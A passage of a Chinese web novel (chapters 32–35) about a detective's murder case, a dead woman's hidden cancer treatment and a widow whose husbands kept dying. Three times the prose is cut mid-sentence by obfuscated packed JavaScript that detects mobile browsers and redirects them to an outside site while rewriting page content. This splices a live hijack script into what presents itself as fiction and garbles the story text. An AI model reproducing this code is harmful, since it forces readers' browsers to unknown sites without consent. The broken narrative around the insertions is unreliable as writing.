宋景富见你又是皱眉,又是捂肚,突然脸红起来,憋了一天的嘴巴,终于如愿喊出了两个字,“别动!” 满是陌生气息的外套劈头盖脸遮下来,你茫然抬起头,看着这张令人讨厌的脸。 “我去买,买那个,你在这别动。很快。等等!等……”宋景富边吼边后退,一不小心趔趄着,又迅速憨笑着站着,待你反应过来,他已经消失在巷子尽头。 你垂下头,把手伸进去,再伸出来,是一手的血。 - 你以为你要死了,你甚至庆幸自己终于要死了。这一天是如此平静地到来,出乎你的意料,却被你热烈地欢迎着。 然而,那只大狗热气腾腾冲巷口冲过来,往你怀里塞了一个装满东西的黑色塑料袋,又拽着你的手腕,带着你七拐八拐找到一个脏兮兮的公共厕所,他说:“去吧。” 去哪?干嘛?你很想问。 一个阿姨瞧见这一幕,噗嗤一声笑出来,对着宋景富说:“你这哥哥当的真好。” 她拉着你走进去,告诉你怎么换,怎么用,每个月它都会来,要记清日子,要提前准备。 你这时才明白,原来这就是书上说的“月信”,如同溺尿般,死不了人,却要每个月恶心女人一次。 阿姨瞧着你,叹了口气,“你妈妈该早点告诉你的。不过,还好你有个贴心的哥哥。” - 于是,你更讨厌宋景富了。 他这条莽撞的大狗,不管不顾撞开你紧紧裹在身上的硬壳,每一分每一秒都在提醒你是个不被爱的可怜虫。 从厕所走出来,你把衣服甩给他,冷声道:“别跟着我!” 宋景富皱着脸,一脸委屈。 刚转过身,你被一个巨大的拥抱裹住……宋景富惊慌失措把衣服裹你身上。 然后落荒而逃。 - 当晚,你一遍又一遍地清洗着裤子上的血迹。 它们依偎你的身边,两张和你一模一样的脸凑近水盆。蛇尾轻轻敲打着水面,卷起厚白泡沫。 “真好。小可爱长大了。” “一点也不好。小可爱死不掉了。” 32. 第32章 方月华被抓第四天,终于有人愿意为他聘请律师。 不是父母,不是兄弟姐妹。其实,他的所有近亲属都避之不及…… 除了王庆芬。 一个和她毫无血缘,只见过数面,应当恨他如骨的女人。 陈秋池通知时,方月华一点也不意外。 四平八稳的脸上反而露出一抹笑。 “我就知道我这位丈母娘喜欢我。” “陈警官,你看,连我丈母娘都觉得我不会杀她的女儿,你们警察怎么还能我把关着?” “陈警官,你还年轻。可千万别把我这个好人搞成冤假错案,你的警察事业怕是就此折戟,再也爬不起来了。” 方月华敦敦善诱,气定神闲,嚣张得苏鹤白薄的脸皮又涨红了。 “方月华,你有没有罪,法律会审判你,你再这么嘴硬,别最后连坦白从宽的机会都没有了。” 方月华笑起来,“我既然清清白白,何必要坦白?” 苏鹤:“……” “那你父母呢?”陈秋池问。 方月华脸上依旧带着笑,“陈警官,聊这个就过分了吧。你明明知道他们不爱我。” “你乍一看和母亲不太像,但近看你们两人神韵极其相似。只是她比较瘦,脸颊都凹陷下来了,看来为你的事忧心得饭也吃不下。”陈秋池轻声道。 方月华皱眉,“她来了?” 随即他连连摆手,“不可能!” 陈秋池给苏鹤示意,他拿出视频点开。 方月华眸光沉了下来。 “我要见我儿子!” “我儿子肯定是冤枉的。他从小就很听话,从不会主动惹事,我不信他会杀人!” “警察抓错人了,他们不应该抓我儿子!” 方月华看到向来胆小怕事的母亲直挺挺跪在水泄不通的人群中,那张总露出讨好卑微表情的脸,竟然如此坚定和愤怒。 原来这个世上刨除那些朝他吐唾沫,丢石头,泼脏水的人外,至少还有一个人在为他呐喊。 这不该是他认识的母亲。 她此刻应该跪在某个角落,任凭盛怒的父亲打骂。骂她生出这样不堪的儿子,骂她养出这样丢人的儿子。 几年前他把父亲一手创办的工厂搞黄了,父亲便视他为空气,随即也更加讨厌养出废物儿子的母亲。 母亲只会哭,只会躲,只会怯弱地求他要争气……他厌恶极了。 她为什么要跑来这里?为什么要为他伸冤?为什么不能继续躲在家里无能地哭泣?为什么要脱开父亲的掌控千里迢迢表演一番所谓的母爱? “儿子成了杀人犯,肯定是这个妈没当好!她怎么有脸过来喊冤!” “关键时候爹怎么隐身了?!” …… 视频里的声音劈头盖脸喷出来。 “关掉!”他避开眼,冷声道,“我让你们关掉!” 陈秋池看着他,“她走了,今早走的。你父亲给她打了通电话……” 赵芳桂走得匆忙,走得无奈,恨不得破墙而入再看儿子一眼。怎奈家里那个男人叫嚣着再不回来就要打断她的腿,她害怕至极只能回去。 方月华表情非常淡然。 “你看,我就说他们不爱我。” “陈警官,你该仔细问问我丈母娘。她知道她女儿是个多么奇怪的人。” - 从审讯室出来,陈秋池接到母亲好几条五十九秒微信语音轰炸。 “小池,你就不能跟范力再好好谈谈吗?他想离婚,也是因为你总摆着一副臭脸,你总怪他忘记鱼宝。鱼宝是他一手养大的女儿,他怎么可能忘记?” “你们还年轻,抓紧时间再要一个小孩吧。阿弥陀佛,佛祖会保佑你们这次一定把孩子养得健健康康,白白胖胖的,千万别像鱼宝一样,那么小就遭这么大的罪……” “小池,我听范力说,你在手腕上每天都临摹一遍鱼宝给你画的小金鱼?你还动不动摸着它们说话?你为什么要做这么奇怪的事啊?很吓人的!他想活得轻松点,也无可厚非。你非要逼着他和你一样痛苦吗?难怪他要和你离婚!” “……” 陈秋池仰起头轻轻吐了口气。 奇怪? 奇怪的动物被保护起来,奇怪的人却遭受排挤。 如果连母亲都认为女儿是个奇怪的人,那这世界还有什么包容可言? 如果没有奇怪衬托,又有什么能被称为正常? 再说,她觉得奇怪的是别人,绝对不是她。 - 王庆芬沉着脸坐在洽谈室。 与其说是坐,不如说是硬撑。她的腰在过去的二十四个小时,经历了千里奔波,早已疼得直不起来,幸好身旁的王叶柄给她买来膏药和止疼药,才撑到现在。 李重和方月华定居新安市十年,她一次也没来过。前五年,她催生,他们非要丁克。后五年,她断交,只有方月华偷偷打电话关心她。 现在一个被杀,一个被抓,连带着她藏在心里的宝贝儿子也没了活着的替身。真好啊。人只要活得够久,就能见识更多离谱的事。 她看向对面的陈秋池,“陈警官,我女婿不可能杀人。” - 王叶柄偷偷看了眼卡里的余额,整个人都在微微颤抖。 不过是把昨晚录到的和拍到的关于王庆芬的视频和录音发给对方,对方就爽快付了整整十万块。 十万块!是他上份工作三年工资的总和。 真想把这些钱取出来全部甩到父亲面前,让他看看“一无是处”的儿子也有挣大钱的一天。这钱来得快,来得爽,比在父亲研究所后勤部抄电表强多了。 且对方说了,若是能劝王庆芬直播,奖金翻倍。 他又偷偷瞥了一眼身旁的王庆芬。 这老太太绝对不是一个失去女儿的可怜老太太……女儿明明被女婿吊死了,她不生气,不着急,还愿意称呼那个杀人犯为女婿,还要千里救人! 与常理相悖,与伦理相背,死人听到她说的话都要气得诈尸骂两句,何况活着的人? 鉴于当前“杀妻案”的热度,只要她往直播镜头前一露脸,以受害者家属的身份哭那么两声,立马就有人愿意捐钱让她打官司,给钱让她好好养老。 可她竟然站在杀人犯女婿那边,即便开了直播,大家只会疯狂骂,她连一毛钱也赚不到。他自然也没得钱挣。 本以为老年人好糊弄,他一路殷勤,好吃好喝供着不说,还坚决不收钱,然而,老太太不是装耳聋,就是装睡,对他有意无意提及的话茬避而不接。 直到现在坐到了滨海分局的洽谈室,他依然没有突破王庆芬的心墙。 而对面坐着的两位警官,已经对他产生了怀疑。 他钱没赚到,却像掉进了一个危险的陷阱。 - “小王是个好人。没有他,我也摆脱不了家门口那些搞直播的,”王庆芬有气无力地说着,“我给他钱,他咋说都不要。他不是好人是什么?” 王叶柄干笑着。总觉得老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511825|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太太说的话让他的疑点更重了。 果不其然,对面叫苏鹤的警察深深看了他一眼,“王先生,你是做什么工作的?” “我之前在一家研究所的后勤部工作,后来不干了,现在就打打零工,赚点小钱。”王叶柄一脸诚恳地说:“我在网上看了不少这个案件的视频,心里挺难受的。我送王姨过来,就是想帮点小忙。” 苏鹤哦了一声,“这么巧,你也姓王。” 王叶柄愣了下,“是啊,要是王姨不嫌弃,我给她做干儿子都行。” - 陈秋池一直在观察王庆芬。 不过五六十岁,显然比同龄人更老态。千里奔波而来,脸上只有满满的疲惫,却无太多悲伤。 且她一上来就为女婿喊冤,要为女婿找最好的律师,要把取保候审办下来。然后,她便不停地围绕这个莫名冒出来的王叶柄说来说去,女儿李重的名字提也未提。 “你是觉得我可怜吗?”王庆芬问。 王叶柄以为自己说错了话,赶紧摆手,“王姨,我没别的意思。我就是想帮您,不做干儿子,做您的弟弟也行……” “我在问陈警官。” 王叶柄简直想扇自己两耳光,还没开始干坏事,咋见了警察就慌了?! 陈秋池定定道:“您自己觉得呢?” 王庆芬笑了起来。 她可怜吗? 守寡多年,好不容易把女儿养大成家,结果白发人送黑发人,按理说应该很可怜。 女儿被女婿直播吊死,她这个亲妈不为女儿掉一滴眼泪,还要花钱为女婿请律师,如此不通情理,枉顾人伦,也确实可怜可恨! 但她活着。只要活着就不会可怜。 可怜的只有死在莽莽深山的丈夫,死在幽深监狱的老陀…… 以及那个死在闷热地库的笨蛋。 “她在哪?” - 太平间的冷,直抵人心。 数个冰柜呈格子状,像放大版的中药柜,或者快递柜。 不过中药柜里藏着救人性命的药材,快递柜里存着人间烟火气的热闹,而这里……藏着冰凉的尸体。 屋顶灯柱投下来的光线也镀上了浓重瘆人的凉意。 李重躺在号码为七的冰柜里。 陈秋池签字后,看向王庆芬。 很多人走到太平间门口腿已经软了。这位老太太挺着她的腰,一步一步坚定地走到这里,表情未有半分松动。 “陈警官,我想单独待一会。” 陈秋池点点头。 走到门口时,她突然发现王庆芬自始至终都用“她”来替代李重。 是因为太爱,所以连名字都不忍提及? 还是,因为不爱,连名字都成了禁忌? - 王庆芬轻轻扶着冰柜边缘。 她十月怀胎生下的孩子,如今安静躺在里面。很久没见,猛一下竟没认出来。 头发、眉毛、汗毛上都裹着晶莹的霜。皮肤又白又青,还真和电视里的鬼有点像。 若是她此刻笑出来,眉眼弯起来,或许还能叹一句,她总算有个地方像她。 脖颈上那刺眼的勒痕,如通一圈诡异的项链,一圈命运送她最后的印记。 王庆芬伸出手,轻轻抚在李重的眼尾。 “你就这么恨我?” “非要用死来逼我再见你一面?” “我知道,你不想当李重了。” “没关系,我已经为你哥哥找好了另一个替身。” 33. 第33章 从滨海分局到省会肿瘤医院有三条路可走。但不管走哪一条都会塞得人心烦躁,忍不住骂人。 陈秋池坐在副驾驶上已经沉默了一个小时。 这条路她非常熟悉,闭着眼也能知道现在掠过窗外的是鱼塘、桑田、民居、以及桥梁。 从北至南,这些河流奔涌而来,犹如密密麻麻的网状血管,在这里冲出沙洲,冲向大海。 她数过。跨过这条路上遇到的血管们,需要二十八座大小不一的桥。其余两条路,则需要分别跨过十九座以及三十五座。 刘波推了推鼻梁上的墨镜,用余光瞥了眼陈秋池。 看了一眼后,又忍不住看第二眼。 看完第二眼后,又忍不住看第三眼。 “有话请直说。刘队。”陈秋池睁开眼,沉声道。 刘波咳咳两声,一脸严肃,“真的是江队不放心你,所以才让我和你一起来省肿瘤医院调查。” 陈秋池嗯了一声,随即闭上了眼。 刘波:“……” “没让苏鹤来是因为我一个顶俩。再说经费也有限。” 陈秋池又嗯了一声。 刘波:“……” “还得是你,竟然发现李重在省肿瘤医院就医的信息。” 陈秋池睁开眼,皱眉道:“这不是值得夸赞的事。反而因为我之前的疏忽,漏掉这么重要的信息。” “李重放弃使用医保,用现金看病。搁谁能想到呢?要不是你发现她的考勤表有问题……” 陈秋池摆摆手,“刘队,请不要这么硬夸!” 刘波叹了口气,“小池,咱们好歹也是一个大院长大的青梅竹马,能不能不要一口一个刘队?!” 陈秋池低声道:“青梅竹马算不上,顶多算朋友。” 刘波唇角立马翘起来,“朋友!朋友!朋友也行!” 陈秋池别过脸,看向窗外。 这条路她走了无数次,不管是趁着黑夜,还是迎着晨雾,亦或是台风暴雨天,距离省肿瘤医院越近,她的喉咙就被掐得越紧,她必须顶着最后一口气才能不倒下。 今天这种熟悉感又席卷而来。 她深吸一口气,轻轻摩挲着右手手腕,隔着袖口,那条用彩笔画就的金鱼正在游动。她能触碰到它隆起的水泡眼,能看到它散开的尾鳍像一朵盛开的鲜花在水中荡漾起一层层涟漪。她闭上眼,将自己的身体缩小,放在波纹上,一呼一吸,一荡一漾…… 小金鱼的吻探过来,轻轻亲在她的脸上。 她快要哭了。 - 李重的病例被调了出来。 4月份时,她参加市两癌筛查时发现HPV16病毒感染。她没有选择在本市做活检,而是前往省肿瘤医院做了系列检查。 省肿瘤医院专家云集,技术更好,这样的选择也属正常。 但她并未告知任何人,包括丈夫方月华。 过去的三个月内,她请了三次假。对于常年满勤踏实肯干的她来说属实不正常。 第一次她来省肿瘤医院做了活检和PET-CT。第二次来省肿瘤医院听医生判定她得了宫颈癌。第三次她并未按照预约时间入住医院治疗,而是在医院外的滨江湿地公园溜达了一整天后直接回了家。 且省市两地早已互通医保,不知为何李重选用自费方式,用的还是现金。 “她的病情非常严重吗?”陈秋池看向主治医生。 医生皱着眉,“病人的肿块发现时已经超过了4CM,不仅侵犯了宫旁,还侵犯了盆腔,淋巴结也有转移。从分型上看,属于中晚期。这个阶段的生存期有一定的差异性,五年的生存率约为60%到70%,当然,这一切还要看病人的身体状况和治疗情况。说不定等到神药上市,还能活得更久更有质量。” 神药?说白了不过是医生给予病患及其家属的安抚罢了。待一线二线三线甚至十八线的药都用无可用时,病情就会立马加重,死神会以最快的速度出现在你面前。 陈秋池脸色苍白得厉害,连医生也忍不住问她是不是有什么不适? “警察也是人,也怕进医院……”她压了压胸口的闷气自嘲道。 医生笑起来,“是。我们医生也怕进医院。” 刘波递过来一个保温杯,里面泡着陈皮红枣。 “新杯子,没人用过。不烫嘴,温度刚好。” 陈秋池看了他一眼,接过来道了声谢。 “人得了这种病,有非常大的情绪反应非常正常。有的人自暴自弃不治疗等死,有的人怕死怕得要命,正经治疗不做,非要去搞什么气功、辟谷、自然疗法,错过最佳治疗期和治疗手段,贻误病情,降低生存率……当然,现在病人已经没了,我们说这些也没什么意义。” 当然有意义。 李重放弃家门口的市肿瘤医院不辞辛苦跑到省肿瘤医院看病,说明她有求生意愿。她找了黄牛花了大价钱约专家号抢住院名额说明她想活下去。 到底是什么让她第三次跑到医院门口,却又临门一脚逃走,直至最后死在文汇花园的地库里? 那天,她游荡在医院外的公园,到底想了什么,又是如何劝说自己放弃的? 陈秋池皱起眉头,“李重得这种病,是否与他丈夫有关?” 医生慎重道:“宫颈癌与HPV病毒息息相关。像她携带的16病毒,属于高危病毒,若是长时间没有转阴,数年内有极大的几率转变为宫颈癌。所以定期体检很重要。” “这种致病病毒的确通过性生活进行传播。我只能说,如果女性的男朋友或者丈夫的性对象不唯一,她感染病毒的几率就会非常大。当然这种病也和人的免疫能力息息相关,很多女性都会携带这种病毒,一般情况下都会转阴,如果刚好某段时间免疫能力下降……后果就可能不容乐观。” “这些情况您当时是否告诉过李重?”陈秋池问。 医生点点头,“她的确详细问了我这个问题。她说她的丈夫可能同时存在多个性对象。” - 从诊室出来时,陈秋池主动提及到对面的滨江湿地公园走一走。刘波哪能不同意,献宝似的背包里掏出一个女式防晒帽,“喏,戴上。省得中暑。” 陈秋池有些意外,“你背的是哆啦A梦的百宝箱吗?” 刘波满脸不自在,“这是我妈的,刚好放在我包里。” 陈秋池:“里头还装了什么?” 刘波难得见她主动和他讲话,立马小尾巴翘到天上去,“里面还有防蚊水、口罩、口香糖、晕车药、充气旅行枕、卫生巾……” “都是张阿姨的?她都六十了!”陈秋池苍白的脸上露出一抹难得的笑意。 刘波:“……反正你要用就跟我讲。” - 一楼的花园正在施工。蓝色围挡遮着,里头传出来震耳的机器声。 现在很多医院都推崇国外传来的那套疗愈康复花园理论,将低矮绿篱拔掉,种上散发芳香的植物,用以调节神经、安神杀菌,甚至还能辅助心血管循环。 主打一个理论至上,追求一个心理安抚。 但这是肿瘤医院,出没这里的人,他们的人生截止日如此急促明确,即便种下成千上万的芳香植物,对他们来说也无济于事。 陈秋池轻轻叹了口气,注意到围挡外墙上张贴着设计方案,上前一看果然就是这种类型的花园。 看来那个受人欢迎的滑滑梯要被拆掉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14512133|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘波见她盯着一张方案图发呆,咳了两声提醒她该走了。 陈秋池说了声抱歉,转身跟着拥挤的人流往外出。 跨过天桥,湿地公园就在眼前。 一座桥,把世界一分为二。 一边郁郁葱葱,勃勃生机,一边秋风落叶,渐衰渐亡。 两人顺着园路往前走。水接着天,天映着地,几艘小船在湖上游走,转了一圈后又往更深处的河涌飘去。 摘斗亭、燕来栖、流云香溪、花州古渡……那天,李重把这些地方一一走过,她看到了两岸的果林,听到了密林里的鸟鸣,见识了欢腾的广场舞。 不,不一定,她怀揣着如此沉重的秘密,看什么都像隔了一重山,一道水,无论用什么方法都跨不过去,自然也入不了眼,进不了耳。 她可能也没注意到这些湖、涌,沟、溪连海通洋,像一个活生生的人,会呼气,会吐气,每天定时定量,潮涨潮落。 一切皆生机勃勃,除了她。 - 陈秋池默默坐在古渡口的台阶上,脚下的湖水荡起一层又一层小浪,不停舔舐着岸边,有序,准时,从不落空。手腕上的那条金鱼像是感觉到了更宏大的水域,尾巴忍不住快速甩动起来,把水波激得一圈紧过一圈,她伸出手隔着袖口轻轻点了下它的额头,小声道:“乖啊!” 刘波错过几个位坐在她的身后,眸光落在她纤细的背影上。 以前不这么瘦的,也没这么沉郁。 忽然,陈秋池转过脸来,一瞬不瞬地看着他。 他立马错开眼。 “你做梦吗?” “什么?” “你睡觉的时候,会经常做梦吗?” “我心大,能吃能睡,几乎不做梦。” 陈秋池哦了一声,“看来你心里没有担心的人和事!” 刘波立马举手反对,“有有有,怎么会没有!我就担心你吃不好睡不好!” 陈秋池微微蹙起眉头。 “我保证!保证今晚就梦见你!” 陈秋池懒得理他,恰好这时一艘游船来了。她伸手招呼,对方停下来靠了岸。 船挺大,两层,可以容纳一二十人。外地游客居多。有一家人圆圆满满地挤在一起,惊呼于远处湖心岛上满树的白鹭,也有小情侣手牵手亲昵自拍。 陈秋池和刘波,一男一女,中间隔了两三个座位,一个戴着墨镜满身煞气,一个面色冷郁生人勿近……怎么看怎么像出来旅游却闹了矛盾的情侣或夫妻。 待船开到湖心岛附近,所有人都上了二楼,只有他们两人纹丝不动。 除了另一人。 一个脸色泛黄的女人。 四十来岁,瘦瘦弱弱,戴了个帽子,鬓角露出白惨惨的头皮。 这人一路跟着他们,从医院到公园,又跟着上了船。 显然犹豫了很久,见再无其他人,她便期期艾艾地凑了过来。 “妹子,你是不是也得病了?” 刘波眉心狠狠一皱,见陈秋池给他使眼色又把火气按耐下去。 “对不起啊,我刚才无意间看到你从金医生的诊室出来。我叫韩蓉,也得了宫颈癌……” 陈秋池满脸愁容,“这样啊!” 韩蓉一副过来人的模样,“不怕不怕啊!你可以进我们的病友群,里面都是得这个病的姐妹。大家会分享各自的治疗过程,治疗经验,怎么应对化疗的副作用。互帮互助,氛围特别好,我把你也拉进群吧……” 陈秋池掏出手机,扫码进了群。 群名叫“病友互助组织”。共有499个人。 陈秋池点开群成员,她一眼看到那个独树一帜的人头蛇身。 是李重。 34. 第34章 陈秋池从省会赶回母亲家楼下时,迎面遇上行色匆匆的范力。 两人相视一愣,随机明白了什么。 刘波摇下车窗看过去。 真是一对璧人。 一对马上就要过时的璧人。 范力显然也看到了他,只沉沉瞥了一眼,便错开。 刘波喊了一声小池。 陈秋池回过头来。雨后的浓重翠绿衬得她脸色越发苍白。 刘波顿了下,“记得吃晚饭。” 陈秋池微微皱眉,点点头,转身朝楼门走去。 - 黄名姿把女儿女婿热情迎接进来,装出一脸惊奇地感叹:“就说你们夫妻两个缘分深厚,这都能碰到一起。” 陈秋池满脸无奈,“妈,你不是说你病了,病得起都起不来?” 黄名姿摆摆手,“那是刚才,现在又好了。” 她显然用同样的理由把范力也叫回来。 范力向来善做不揭短不扫兴的好人。 他耐着性子打圆场说:“妈,我来盛饭吧。” - 客厅里禅音佛乐绵长不断,佛像前纤细香烛吐出轻轻细烟,笼罩着小小人儿的照片。 陈秋池听得头疼心慌,手指下意识地摩挲着右手手腕,刚一抬头,便看见范力审视无奈的目光。 她侧过身去,隔着袖口描摹着手腕上颤抖的鱼尾……固执又坚定。 鱼宝刚学会站立便痴迷画画。可爱幼软的手毫无顾忌地沾满颜料,在画纸上尽情涂抹。她很有色彩感,那些看似无意的挥洒总会生出恣意的生命力。 她偏爱画鱼,以及和鱼相关的水、水草、铺满水面的阳光。 她总说:“我就是鱼儿,鱼儿就是我,鱼儿游来游去,鱼宝开开心心。” 后来她生病了,病得很严重。生命在她的躯体里盘旋、抗争、磋磨,变淡,直至消失。彼时,她明明已经虚弱地抬不起头,可还是趴在她的怀里,用彩笔一点点在她手腕上画了一尾小金鱼。 她说:“妈妈别怕,小鱼会陪着你。” - 饭桌上只有黄名姿不停说话。 她总试图回忆过去美好的生活,强行笑得没心没肺,可这样的生活里总有一个奶声奶气的声音,绕不开,斩不断,说到最后,又惹得陈秋池满心酸楚,眼尾泛红。 范力主动刷碗,又仔仔细细把抽油烟机和灶台清洗了一遍。 黄名姿偷偷给陈秋池使眼色,小声说:“上哪找这么好的老公啊。” 陈秋池沉着脸,“没事的话,我还要回局里。” 黄名姿伸出手指头在她额头狠狠戳了一下,让她再等几分钟。 范力挂好围裙,坐回沙发。他挡住丈母娘递过来的餐后水果,平静地说:“妈,我明天就要搬去北京了。” 黄名姿一愣,“搬去北京?你辞职了?你找到新工作了?” 她越说越急,越问越多,直到陈秋池拽了下她的胳膊。 范力苦笑两声,“新安是我的伤心地。我不想再待在这里了。” “那小池怎么办?鱼宝怎么办?”黄名姿急得都要哭了。 范力低下头,不吭声。 黄名姿一巴掌拍在陈秋池的身上,“你为什么就不能好好跟范力过日子?非要把他逼走?” 她一把拽住陈秋池的胳膊,推开袖口,手腕处那条明亮欢腾的小金鱼跳了出来。 “擦掉!”黄名姿厉声道,“你不动手,我来擦!” 陈秋池沉着脸把母亲的手死死按住。 她转过头,盯着范力。 “你什么时候把那个女孩子带去鱼宝的墓前,让鱼宝叫她一声妈妈?” - 刚开始,悲伤是共同的,伤心是同步的。 不到半年,枕边的男人便悄悄停下脚步,看着你絮絮叨叨悲悲戚戚的背影,露出一抹不耐的表情。 此时,你仍未觉察。你以为他会和你永远一起,想念那个奶呼呼的宝宝,悲痛她的不幸和早逝。 然而,他摆出“为你好”的姿态,让你别再想,别再哭,别再沉浸过去……你还以为这是体贴。 渐渐地,你发现,他回来的越来越晚,他更乐意和那些朝气蓬勃的人在一起,其中不乏明媚的女孩子。 你曾经也是,现在被苦水浸泡过后,生动的明媚变成了幽寂的深渊。 - 陈秋池就是这么发现范力出轨了。在女儿过世的第七个月零二十八天。 身为大学教授的他,曾用他的书卷魅力招惹了刚毕业的她,现在故技重施,招惹了更年轻更生动的女孩子。 所以,奇怪的是她吗? 奇怪的是范力、方月华之流,精于表面功夫,胜在嘴皮功力。 看似深情,却最无情。 - 范力落荒而逃,黄名姿抱着陈秋池哭得痛不欲生。 - 下楼时,黄名姿依然抽噎不止。隔壁楼栋口传来吵闹声,她立马擦干眼泪冲了过去。 陈秋池抿了下唇。有时候真是羡慕母亲旺盛的八卦力:再悲伤的事也要为八卦让路。 她转过身。一阵风吹来,小叶榄仁树枝上的点点圆叶颤颤抖抖,像一群乖巧整齐,准备出游觅食的小鱼。 她凝神看得痴了迷。 不知过了多久,身后忽然传来一道哭喊声。 “警察不是神。” 陈秋池猛然回头。 - 黄名姿见到女儿又返回过来,立马兴奋地抓住她,“我女儿是警察。你把你的事告诉她。她肯定能帮你!” 陈秋池看过去,哭得梨花带雨的女人大概四十出头,手臂上戴着黑纱,显然有孝在身。 未等这人说话,黄名姿已经用一句话高效总结了这件“八卦”:女人二婚嫁了个老公,两年不到老公得病死了,又被继女赶出家门。 女人呜咽哭诉,说老公去世前把这套房转到她名下,就是害怕强势的继女让她无家可归。谁知道继女强行闯入,以死相逼,就是不肯让出房子。 “你报警了吗?”陈秋池问。 女人长了一副我见犹怜的模样,轻轻摇摇头,“我不想把事情闹得不可挽回!毕竟她是他的孩子!” “你丈夫得了什么病?” 女人看向陈秋池,从嘴里吐出两个字:“肺癌!” - 警察的确不是神。 总有那些游走在道德和法律夹缝中的不公平不合理,法律制裁不了,纠正不了。 女人说过去的大半年她整天忙着陪老公四处求医看病,只想救他的命,从没有想过要他的房。 “我宁可拿房子换他多活几天,可是,这个病它就是治不好!我自己的存款也全部拿去给他治病……现在真是人财两空,什么也没了!” 真是听者哭泣,闻者落泪。 黄名姿刚被范力那个白眼狼搞得郁结难过,越发对这个痴情的可怜女人产生了巨大的同情心。 她拉着陈秋池说:“小池,你得帮帮她!” - 女人叫辛小莱。 去公安局的路上她看起来十分不安,不停询问陈秋池是否有更委婉更和平的方式拿到这套房? 她实在不想因为身外之物,让活着的人不开心,逝去的人也不安宁。 也就这样总为别人着想的人才会长期照顾患病丈夫而毫无怨言吧。 陈秋池想起女儿去世前,彼时她已经瘦成一具小小骷颅,疼得连妈妈都喊不出来……其实那时候范力已有逃避征兆,他说他见不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544054|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿的可怕模样,他说他看见她总做噩梦,现在想来,他每天站在讲台上神采奕奕讲着国家形势和世界变革,常态化指点江山,习惯性捍卫正义,居高临下怜悯弱者,却不敢面对患病的女儿。 她看着辛小莱,“你过得好,你丈夫才能安心。” - 继女叫宗桃。 三催四请后才姗姗来迟。 辛小莱一见到这位比自己只小五岁的继女便往陈秋池身后缩,她万分抱歉地说自己没想着报警,实在没地方住才不得已请她过来商量商量。 她可以不要房子,留一间次卧就行。 “一间次卧?” 宗桃长相和穿着都颇为上等,轻轻皱眉便露出浓浓嫌弃。 “虽然你不信,但我和你父亲是真爱。”辛小莱咬着牙说。 宗桃气笑了,“你这话哄老头子兴许有用,就别恶心到我面前了!” 辛小莱沉默了片刻说:“你常年住在国外,你父亲生病后,你总说忙,一次也没回来过。是我陪着他找专家问诊,是我陪着他化疗放疗,他胸水多得喘不过来气,是我陪着他跑医院急诊。你知道化疗后怎么提高白细胞吗?除了打升白针,还要喝升白汤。升白汤要用新鲜的泥鳅煮,我得一大早去菜市场抢……” 宗桃冷笑一声,打断她,“无利不起早!你要是不惦记我爸的房子和存款,为什么要对快要死的人这么好?” 辛小莱咻的一下站起来,哭着问,“你也知道他快死了,为什么不愿意回来看他一眼?他到最后还在念你的名字……” 宗桃面色冷峻,“那是我和他之间的事。不用你这个外人管!你把他烧了,埋了,才通知我。你凭什么这么做?” “是他不让我告诉你!” “骗人!你就是不想让我知道你霸占了我爸的房子和存款!要是我晚回来两天,你早都把房子卖了换钱走人!” “才不是!你血口喷人!” “就是!” …… 就在双方打嘴官司时,一直没说话的陈秋池递过去一张照片,问:“辛小姐,你认识这个人吗?” - 辛小莱被单独带到审讯室。 她恍恍惚惚坐下来。 “我犯了什么事吗?我真不认识那个什么王安娜!” “陈警官,我就说不要来这种地方!你非要早让我来!” “现在这房子在我名下,我有完全的处置权!我只是顾及我丈夫的名誉,所以才不想和他女儿闹得难看!” “我不想再待着这里了,我能不能现在回家?” 陈秋池让她别急,顿了下问,“你丈夫知道你在他之前,已经结过三次婚?” 辛小莱咬着唇,“这不犯法。” 陈秋池点点头,“是。但是你之前的三个老公,包括宗桃的父亲,都是病逝,都是因为癌症……” 辛小莱眼泪立马流下来,“这只能说明我命太苦了!” “除了你第一个丈夫和你结婚十年之久,后面三个丈夫长则两年,短则半年。”陈秋池继续问。 “而且你名下有三套房,是后面这三个丈夫分别转赠给你的!” 辛小莱擦了擦眼泪,“这有问题吗?他们死了,可我还活着,没有房没有钱怎么活?” - 这时,手机震动。 “病友互助组织”群发出一条新公告。 #即便癌症扼住我们的喉咙,也无法破坏我们的尊严。医生不能救我们于死亡,父母不能帮我们抵抗孤独,但大家可以在这里,找到最相似的灵魂,最相爱的朋友,最相知的家人。希望所有人放下介怀,放下抵抗,尽情讲出你们未竟的爱和恨,不舍会被兜底,怨念会被洗礼。若生命流逝不可抗,仍可以在生命结束前获得祝福。 35. 第35章 病友互助组织。 这个群确实具有非常强的组织性和活跃度。 